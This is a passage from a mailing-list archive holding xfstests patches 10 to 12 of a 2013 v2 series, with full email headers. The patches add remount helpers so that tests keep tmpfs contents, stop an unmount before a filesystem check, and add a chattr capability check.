required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD65B29DF8 for ; Tue, 17 Dec 2013 16:19:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4958FAC001 for ; Tue, 17 Dec 2013 14:19:00 -0800 (PST) X-ASG-Debug-ID: 1387318738-04cb6c537d7ec9f0001-NocioJ Received: from mail-pa0-f73.google.com (mail-pa0-f73.google.com [209.85.220.73]) by cuda.sgi.com with ESMTP id fEjgY8KzIaO6P94O (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:58 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.73 X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] Received: by mail-pa0-f73.google.com with SMTP id kl14so594513pab.0 for ; Tue, 17 Dec 2013 14:18:58 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=kSBNaBIILdzzxgDnLilYADO4s9nYxhJrleclzWzXwSQ=; b=RtfHo2oLIqkFmL/nJZ2tSrXNbTGOo52UA0Hfd/2Or78oRTPbY45wP1VbqWBXvTBzuV OSeFTX8Vum9VvlsPbcu8SVPnsimg4dQV+EctKCd4cYAAlAiPnFasSNx1mjN0r29TNxdD gQbErI6LqAYiBXN+yiMIz9n0WDTumosYpsVT6AXNOhWRl7EsuwwKa0s90oE1l9buCOu6 B8LsaE7fhI79JXykXv4Cs8cb/xfbD4bhC1MmJA9YsyhJbLosUI5aO+IwrA34Mp4nu0gK d+w8zlXlWpiwTOhPmyi/YFCdsJmLT8Lq1mxxoEfQC9JzTTFguf9VocfZZVd9GTOsDeiK COxA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=kSBNaBIILdzzxgDnLilYADO4s9nYxhJrleclzWzXwSQ=; b=ZlN1q2k9PHc4azYO3u6LRVQ6/JuguzmrtOoztiACqmXN4eFXuW306pLDGxGHYCrVJO o/2oiQdjvIP7JHWSv3S4JuE6lTh6DlQUWGTGlHL/j8951eQ31OIFZyPBTJpDajteucTu WcxMHIvoovwrHTGgFOXNqLjb7v2LoSrwNwESnRWExFb3Y6gA11hY9PS02w6IR3siYysv 60eYA1RpbQdZlnuWHoqyWhjVRnS4yjGvfUppiYc1x2MnQCi8Az9RAOmyLMGJc6dswOmc iYEj+1dopXgpAH24m8+qC3tTuPi3tQIUDKmsDeNIgoHL8WfWkdprUi9nV7uDF1dlYz0H I/kQ== X-Gm-Message-State: ALoCoQk4cZ1RerOmJSZKfkmQ6hbtHBSfif9TDg4hmIdfIP2ZBNZnxI7uoUfNEXIH5lFC/+RT7/IC7vRijCg5LBq9L2xzmKJiTvwLgJf05nHYuD0Yil9cQOItTan/0PuEFCVcV6mrrdJNQHdIO5ZaWBRuCrXNwrpoHCBwGjVlUxJskwhikvgP5UzL16riHxWI3MUD5RKDfFCw X-Received: by 10.66.248.193 with SMTP id yo1mr12559691pac.6.1387318738317; Tue, 17 Dec 2013 14:18:58 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id j47si3758369yhm.7.2013.12.17.14.18.58 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:58 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id BCB3031C204; Tue, 17 Dec 2013 14:18:57 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 10/12] xfstests: do not unmount tmpfs during remount. Date: Tue, 17 Dec 2013 14:18:40 -0800 X-ASG-Orig-Subj: [PATCH v2 10/12] xfstests: do not unmount tmpfs during remount. Message-Id: <1387318722-3050-10-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-pa0-f73.google.com[209.85.220.73] X-Barracuda-Start-Time: 1387318738 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Several tests unmount then re-mount the scratch filesystem, to check that the content is unchanged; but unmounting a tmpfs is designed to lose its content, which causes such tests to fail unnecessarily. Add _scratch_remount(), which instead uses remount on a tmpfs to preserve its contents. Also add _test_remount() to do the same for the test device. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v2: same as v1 common/rc | 34 ++++++++++++++++++++++++++++++++-- tests/generic/135 | 17 +++-------------- tests/generic/169 | 20 ++++++-------------- tests/generic/169.out | 6 ++---- tests/generic/192 | 3 +-- tests/generic/226 | 3 +-- tests/generic/258 | 3 +-- tests/generic/306 | 3 +-- 8 files changed, 47 insertions(+), 42 deletions(-) diff --git a/common/rc b/common/rc index 9e0e727..3b2f812 100644 --- a/common/rc +++ b/common/rc @@ -302,8 +302,20 @@ _scratch_unmount() _scratch_remount() { - _scratch_unmount - _scratch_mount + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $SCRATCH_MNT + ;; + *) + _scratch_unmount + _scratch_mount "$@" + ;; + esac + + cd $CWD } _test_mount() @@ -312,6 +324,24 @@ _test_mount() _mount -t $FSTYP $TEST_OPTIONS $TEST_FS_MOUNT_OPTS $SELINUX_MOUNT_OPTIONS $* $TEST_DEV $TEST_DIR } +_test_remount() +{ + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $TEST_DIR + ;; + *) + umount $TEST_DIR + _test_mount "$@" + ;; + esac + + cd $CWD +} + _scratch_mkfs_options() { _scratch_options mkfs diff --git a/tests/generic/135 b/tests/generic/135 index 79558f5..cfa9779 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -41,19 +41,8 @@ _supported_os Linux IRIX _require_odirect _require_scratch -_scratch_mkfs >/dev/null 2>&1 - -_umount_mount() -{ - CWD=`pwd` - cd / - # pipe error into /dev/null, in case not mounted (after _require_scratch) - umount $SCRATCH_MNT 2>/dev/null - _scratch_mount - cd "$CWD" -} - -_umount_mount +_scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" +_scratch_mount > /dev/null 2>&1 || _fail "mount failed" cd $SCRATCH_MNT @@ -71,7 +60,7 @@ $XFS_IO_PROG -f -c 'pwrite -b 4k -S 0x78 0 4k' trunc_file > /dev/null $XFS_IO_PROG -f -c 'truncate 2k' trunc_file > /dev/null $XFS_IO_PROG -c 'pwrite 1k 0 1k' trunc_file > /dev/null -_umount_mount +_scratch_remount # check file size and contents od -Ad -x async_file diff --git a/tests/generic/169 b/tests/generic/169 index ebeffa7..ebfb106 100755 --- a/tests/generic/169 +++ b/tests/generic/169 @@ -73,13 +73,9 @@ $XFS_IO_PROG -a -c "pwrite 0 5k" -c "fsync" \ $SCRATCH_MNT/testfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/testfile \ @@ -90,13 +86,9 @@ $XFS_IO_PROG -f -c "pwrite 0 5" -c s -c "pwrite 5 5" \ -c "stat" $SCRATCH_MNT/nextfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/nextfile \ diff --git a/tests/generic/169.out b/tests/generic/169.out index 22a5b77..5f7df39 100644 --- a/tests/generic/169.out +++ b/tests/generic/169.out @@ -5,15 +5,13 @@ wrote 5120/5120 bytes at offset 0 wrote 5120/5120 bytes at offset 5120 wrote 5120/5120 bytes at offset 10240 stat.size = 15360 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 15360 # appending 10 bytes to new file, sync at 5 bytes wrote 5/5 bytes at offset 0 wrote 5/5 bytes at offset 5 stat.size = 10 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 10 diff --git a/tests/generic/192 b/tests/generic/192 index 2b4e41c..ec069b0 100755 --- a/tests/generic/192 +++ b/tests/generic/192 @@ -76,8 +76,7 @@ cat $testfile time2=`_access_time $testfile | tee -a $seqres.full` cd / -umount $TEST_DIR -_test_mount +_test_remount time3=`_access_time $testfile | tee -a $seqres.full` delta1=`expr $time2 - $time1` diff --git a/tests/generic/226 b/tests/generic/226 index 4ad56a5..1327c9e 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -61,8 +61,7 @@ for I in `seq 1 $loops`; do done echo -umount $SCRATCH_DEV -_scratch_mount +_scratch_remount echo "--> $loops direct 64m writes in a loop" for I in `seq 1 $loops`; do diff --git a/tests/generic/258 b/tests/generic/258 index 3aeb5ce..567a39a 100755 --- a/tests/generic/258 +++ b/tests/generic/258 @@ -61,8 +61,7 @@ fi # unmount, remount, and check the timestamp echo "Remounting to flush cache" -umount $TEST_DEV -_test_mount +_test_remount # Should yield -315593940 (prior to epoch) echo "Testing for negative seconds since epoch" diff --git a/tests/generic/306 b/tests/generic/306 index 04d28df..56313f2 100755 --- a/tests/generic/306 +++ b/tests/generic/306 @@ -66,8 +66,7 @@ touch $BINDFILE || _fail "Could not create bind mount file" touch $TARGET || _fail "Could not create symlink target" ln -s $TARGET $SYMLINK -_scratch_unmount || _fail "Could not unmount scratch device" -_scratch_mount -o ro || _fail "Could not mount scratch readonly" +_scratch_remount -o ro || _fail "Could not remount scratch readonly" # We should be able to read & write to/from these devices even on an RO fs echo "== try to create new file" -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 502C029E1A for ; Tue, 17 Dec 2013 16:19:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13660304053 for ; Tue, 17 Dec 2013 14:19:01 -0800 (PST) X-ASG-Debug-ID: 1387318739-04bdf00fdfc87f0001-NocioJ Received: from mail-vb0-f74.google.com (mail-vb0-f74.google.com [209.85.212.74]) by cuda.sgi.com with ESMTP id rPIWj1Bosj9NZHRM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:59 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.212.74 X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] Received: by mail-vb0-f74.google.com with SMTP id w5so697432vbf.1 for ; Tue, 17 Dec 2013 14:18:59 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=ncAqaGKLIim+wtT2N4vQwTIvOhhNPlo73qs8eS7YQgo=; b=R9rdMxrSBioK0mS3Ao3aBcKsudpLbZO5myCfeRUG9kxFBm1ezEFynAB9upweXR54BA T1K1rZiubgOUy93yZWdFUzpBWPqN859x2MfKYehJRXXC0x8wx7YfWcFy46pQ5KBgJQPE 6/Z2VUsilqrRLhN9es5/Rp0KYEhWzkxM+LMg5LyQ2gBLtMaL1c6WY47v3aPnRy6N8IZk 5ywZUDBYonPc0P+bTfYuiuS+h35MHlfSwwEkHmPBJnLnP9/3R9WcsN506bi4rMWFd9+g xIMRB7iYPTCGyJauEEbyQpuZyFxM3GeufqgT01AxpBjb/btzqWD6K+o8SBV6avuM6qQS 7dKw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=ncAqaGKLIim+wtT2N4vQwTIvOhhNPlo73qs8eS7YQgo=; b=Xlm5Tc5wC1u7/Uq8M7ctwUjHLCb0v4K/M/G1DJrHLgdOXvDi2xQmANNfRsENVNvasE Fxe0xIYqKlpnXLQO5S8DV2zMKI9tKZsAuNgZ11c75mrPhl7YCrwxwpn6aDTVnME0KEhF 6D73qSdTnn476ON/68PzcaoWu4S+rgD1lie/tHDQ4rHoTe0wNEO8hYCn5zXSdyCSv5B7 p2nDTJQtiVg9gizuEV2+v10DPVhXnaAJGv+JFIuNNUn28ENiW1nvbgPfPEAI49Qt1jyS OyPQAWvmNCmrlWKMsvlLxFFEeuGlLain+f97sydPVzgpBTBAW0ov7lkVPvxhBsaoGKXh zSAg== X-Gm-Message-State: ALoCoQk9POn3Sv5Z9ED7S4M/xkZtjkYWJyC3018s0rimiWmqyLyfPQ1QkTd/lXb735T1iO7dG9pFCRNp6AEARQbA8emvwKO77qNjuhIVRKy0WLEe760Ma7ffLFJuE3B0vk5a6mCxWSwjn6qq0C3a+/3u1NuvtOzRMxDznGB6K8dHrIte2QAvwj2dYBX7KraCHsiJldINXqmj X-Received: by 10.236.125.79 with SMTP id y55mr1308008yhh.53.1387318738915; Tue, 17 Dec 2013 14:18:58 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id o30si4870556yhn.1.2013.12.17.14.18.58 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:58 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 5595331C20C; Tue, 17 Dec 2013 14:18:58 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 11/12] xfstests: do not unmount before calling _check_scratch_fs() Date: Tue, 17 Dec 2013 14:18:41 -0800 X-ASG-Orig-Subj: [PATCH v2 11/12] xfstests: do not unmount before calling _check_scratch_fs() Message-Id: <1387318722-3050-11-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-vb0-f74.google.com[209.85.212.74] X-Barracuda-Start-Time: 1387318739 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Many tests do not unmount SCRATCH_DEV before calling _check_scratch_fs(). Change generic/053 to call check a filesystem without unmounting the device. Signed-off-by: Junho Ryu --- v2: extracted from patch 9 tests/generic/053 | 2 -- 1 file changed, 2 deletions(-) diff --git a/tests/generic/053 b/tests/generic/053 index b8bd9e6..cf46a93 100755 --- a/tests/generic/053 +++ b/tests/generic/053 @@ -81,9 +81,7 @@ list_acls() echo "acls before repair:" list_acls -_do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' _do 'repair filesystem' '_check_scratch_fs' -_do 'mount filesytem' '_scratch_mount' echo "acls after repair: " list_acls -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 61B9F29E22 for ; Tue, 17 Dec 2013 16:19:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33797304064 for ; Tue, 17 Dec 2013 14:19:01 -0800 (PST) X-ASG-Debug-ID: 1387318739-04cbb041677e6a60001-NocioJ Received: from mail-pa0-f74.google.com (mail-pa0-f74.google.com [209.85.220.74]) by cuda.sgi.com with ESMTP id TVhOlk3kI2Bn8C21 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:19:00 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.74 X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] Received: by mail-pa0-f74.google.com with SMTP id fa1so594455pad.5 for ; Tue, 17 Dec 2013 14:18:59 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=uPfhngOtLBLaHJJMyF4xJ0t6H/h2tepNsP2PpGtivL4=; b=I4R35crWXxAY/fhaweoNgUP/M9EC31HJqrFpnesPvBB6Qr4HI4/iLWYDwQqcbiv9Yb ob08fSIsxPvuCWRd1BHsqnc25dimbiWfZ3jHsQOgZMZyD2XqDaLLKlDLACIwD68Fi79h 6iPaibXcZsqrJIFMBme2VLYiqig63Obg3dHkTVDRmgWeIWu59e9mRPTZuBf9RaWQrKIG AAYZJZmJxZz8BeaTuCZzK2reKjSRUWlF7a8wZgjTPncl0tz64Jg7ANd77ArjoU85oQfO VG+tVEd+PpRTGzM7JB4Ud93eOYgHG7PP7BQlVTsHVOSTVHGPEnbcsNcSVM0THHpHPvCk DZMA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=uPfhngOtLBLaHJJMyF4xJ0t6H/h2tepNsP2PpGtivL4=; b=CiXLwAT+c3MQKv0HDZVxOc7QWo6/4GC8F7BRcaJP1UgTAYZ1pkIU/+IvymrdV3Nkew LLZoMG2xyDPBiCIXzLyZOwcZl/nROcaDpr52zdCcpQTDh9nTxWli0VnKQSTelSkUZja/ gGbqgWgSS9dlI/dCr6z55/Rwpx5+92z1SYQk/g8llUqOoXvVjZjFYmIsjKK29EZEDnfe qjJP0WJ2xT0Y6p8RCXtgNtekE4VuoP2M0yRkOPpxV9kVHQlbwRJvj2/MLy16YTJ8S6gp RIhezWwyrUVjLhXUBphptf65iayK8yaXpSwiFev1Ltx2wXWwAaLBmpvlnGejRL0zGZ6J GAAw== X-Gm-Message-State: ALoCoQk3HzWcX8Au0cAy8gcKStjWWLOkDk8Z0k9s0my4T0ULpdBGd0zIHEGR1OxsgF+kt5P0h8tcTvWxvMW27hoM1esZ6SuRPvUMhgXLxiyxPGHkVfRqAX94QMYb1CqMZTjioAnqq0XuEqanxggGfpTzbp485PqYEvZ+NWr5vzA1cF3Yz2YcqBrvJZCXyoVKfp6/Ge8ADO4v X-Received: by 10.66.146.65 with SMTP id ta1mr13799152pab.19.1387318739681; Tue, 17 Dec 2013 14:18:59 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id l41si4867362yhi.5.2013.12.17.14.18.59 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:59 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id F14B331C204; Tue, 17 Dec 2013 14:18:58 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 12/12] xfstests: check if filesystem supports chattr Date: Tue, 17 Dec 2013 14:18:42 -0800 X-ASG-Orig-Subj: [PATCH v2 12/12] xfstests: check if filesystem supports chattr Message-Id: <1387318722-3050-12-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-pa0-f74.google.com[209.85.220.74] X-Barracuda-Start-Time: 1387318740 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Add _require_chattr which verifies exit code of chattr command and call it before running generic/277. Signed-off-by: Junho Ryu --- v2: extracted from patch 9 common/attr | 13 +++++++++++++ tests/generic/277 | 2 ++ 2 files changed, 15 insertions(+) diff --git a/common/attr b/common/attr index 4a3ac9e..278633f 100644 --- a/common/attr +++ b/common/attr @@ -218,5 +218,18 @@ else # Assume max ~1 block of attrs fi export MAX_ATTRVAL_SIZE + +_require_chattr() +{ + touch $TEST_DIR/syscalltest + chattr +A $TEST_DIR/syscalltest > $TEST_DIR/syscalltest.out 2>&1 + if [ $? -ne 0 ]; then + _notrun "chattr has failed to change attribute of a file in TEST_DIR" + fi + cat $TEST_DIR/syscalltest.out >> $seqres.full + + rm -f $TEST_DIR/syscalltest.out +} + # make sure this script returns success /bin/true diff --git a/tests/generic/277 b/tests/generic/277 index 8461ad9..c31f7c4 100755 --- a/tests/generic/277 +++ b/tests/generic/277 @@ -38,11 +38,13 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/attr # real QA test starts here _supported_fs generic _supported_os Linux _require_scratch +_require_chattr _scratch_mkfs > /dev/null 2>&1 _scratch_mount -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F79929E23 for ; Tue, 17 Dec 2013 16:19:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 37001AC001 for ; Tue, 17 Dec 2013 14:18:58 -0800 (PST) X-ASG-Debug-ID: 1387318737-04bdf00fdec87e0001-NocioJ Received: from mail-pa0-f73.google.com (mail-pa0-f73.google.com [209.85.220.73]) by cuda.sgi.com with ESMTP id 8pIJgMZCR259s16W (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:57 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.73 X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] Received: by mail-pa0-f73.google.com with SMTP id kl14so594608pab.2 for ; Tue, 17 Dec 2013 14:18:57 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] X-Barracuda-IPDD: Level1 [google.com/209.85.220.73] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=KQSofufIu5NQx7YJ//bvMh/kRAo3Fr/3pyez3vmXlG4=; b=FzlJV+UQ37A5JEJjPRCPuDWWf7Ai8+fhlcFIsgYC6VFCNfg3w8TQ2rk5H3pMLHbj3t 0VNyk8tmHN5XJd/JJyukEyDP4RPilmyYe44svb4WUJ18/RS9mZx3bHFENIeWepnn/pbu xBe6YV9m0TeNqyOFYtuzwPtNIjfv73ERoUim9G6OyhqfL+91kJaZohFb2Dy+wyHF5VL9 +mD7cQqNTfUh5b29bMlaTzzHdV1DwoFmlvEIEQDr41YJAoS9YEb8Hy/wofPh+9Pc8a2o BZkrRRtcd9cDGFHYDbEGMzKFHockucaj/FXVHrks6tky+mdZTNepVqpLXYEhTPj1pJg/ 6kkA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=KQSofufIu5NQx7YJ//bvMh/kRAo3Fr/3pyez3vmXlG4=; b=MlqnYmZISC5SIFqsND9N/1c2ZWTxabi48Dx/3ZAF1E5TCmB1YvTCMEAmBupkKzEOQb Yjs+kzIU1/PQDpCRpGajldBC3HDsZNeCNiUo0t3TkBj7QFlERDSdm2Ni0w/X9h0I3f7J VBiEkOAiZCfR2CmKCR/FCy7wWJrxzP8fnaJqzddiWzbGq8eELMCbjxocYHhR3ktc1AFK SUSydYiALtlbVL8Sluf7YUUyMsTt7S6FK/NJeOSHQJXx9tfwDnOJKUBixCV/+HKY45kQ Lja/KZfpctiEaue6AYwOH6qNDni8Tsjw0TTBsrBY4IPy6O5e9KWRY1TLnDEoxBGMtYhO VqRQ== X-Gm-Message-State: ALoCoQmYqWmN8PyALL2l1GHFJp5MBDiNNKJ4EAuWvg+S+byo6iDFh5/ZThivWwuRu8/b5igwfdLZsCvP539kbkkhL3plbvfwZiTs1hvJTdAoQrk/aFYNl+zLqp8oZ1j6vnkeaeZQONwTYaLHcvk3bExRF8s15igLMTyHSTuXSCAEDsx2Up2WI1x6Y3lnNMlDgSsG9jiXezmE X-Received: by 10.67.3.34 with SMTP id bt2mr3964490pad.41.1387318737106; Tue, 17 Dec 2013 14:18:57 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id j47si3758361yhm.7.2013.12.17.14.18.57 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:57 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 88E0031C20C; Tue, 17 Dec 2013 14:18:56 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 08/12] xfstests: add executable permission to tests Date: Tue, 17 Dec 2013 14:18:38 -0800 X-ASG-Orig-Subj: [PATCH v2 08/12] xfstests: add executable permission to tests Message-Id: 